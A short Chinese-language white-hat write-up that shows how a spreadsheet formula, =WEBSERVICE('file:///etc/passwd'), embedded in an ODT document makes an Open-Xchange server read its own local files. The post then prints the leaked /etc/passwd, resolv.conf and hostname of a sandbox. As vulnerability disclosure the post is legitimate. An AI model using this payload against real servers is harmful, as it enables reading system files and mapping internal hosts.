白帽故事 · 2024年8月1日 0

ODT文件漏洞利用

1、建立一个openoffice的calc文件(ods文件格式)

2、在任意表格中输入:=WEBSERVICE("file:///etc/passwd")

3、建立一个新的odt文件

4、选择插入(insert)–>对象(object)–>导入刚刚创建的ods文件

5、将该odt文件“通过驱动器”功能打开,即可在open-Xchange中查看到open-Xchange服务器上的passwd内容

bin2:2:bin:/bin:/usr/sbin/nologin
sys3:3:sys:/dev:/usr/sbin/nologin
sync4:65534:sync:/bin:/bin/sync
games5:60:games:/usr/games:/usr/sbin/nologin
man6:12/var/cache/man:/usr/sbin/nologin
lp7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail8:8:mail:/var/mail:/usr/sbin/nologin
news9:9:news:/var/spool/news:/usr/sbin/nologin
uucp10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy13:13:proxy:/bin:/usr/sbin/nologin
www-data33:33:www-data:/var/www:/usr/sbin/nologin
backup34:34:backup:/var/backups:/usr/sbin/nologin
list38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd101:65534::/var/run/sshd:/usr/sbin/nologin
debian1000:1000:Cloud-init-user,,,:/home/debian:/bin/bash
ntp102:104::/home/ntp:/bin/false
messagebus103:107::/var/run/dbus:/bin/false
colord104:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
saned105:109::/var/lib/saned:/bin/false
bind106:110::/var/cache/bind:/bin/false
openldap107:111:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
dovecot108:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull109:113:Dovecot login user,,,:/nonexistent:/bin/false
vmail999:999:system user for email:/home/vmail:/bin/false
nginx110:114:nginx user,,,:/nonexistent:/bin/false
mysql111:116:MySQL Server,,,:/nonexistent:/bin/false
clamav112:117::/var/lib/clamav:/bin/false
postfix113:118::/var/spool/postfix:/bin/false
amavis114:120:AMaViS system user,,,:/var/lib/amavis:/bin/sh
debian-spamd115:121::/var/lib/spamassassin:/bin/sh
open-xchange116:998::/opt/open-xchange:/bin/false
uuidd100:101::/run/uuidd:/bin/false
systemd-timesync117:124:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network118:125:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve119:126:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy120:127:systemd Bus Proxy,,,:/run/systemd:/bin/false
wforce121:129:Dovecot,,,:/var/spool/wforce:/bin/false

6、原始的ods文件也可以使用

密码内容:

/etc/resolv.conf内容:

domain sandbox-ox.tld 

search sandbox-ox.tld

nameserver 192.168.10.68

/etc/hostname内容:

sandbox-1

file

file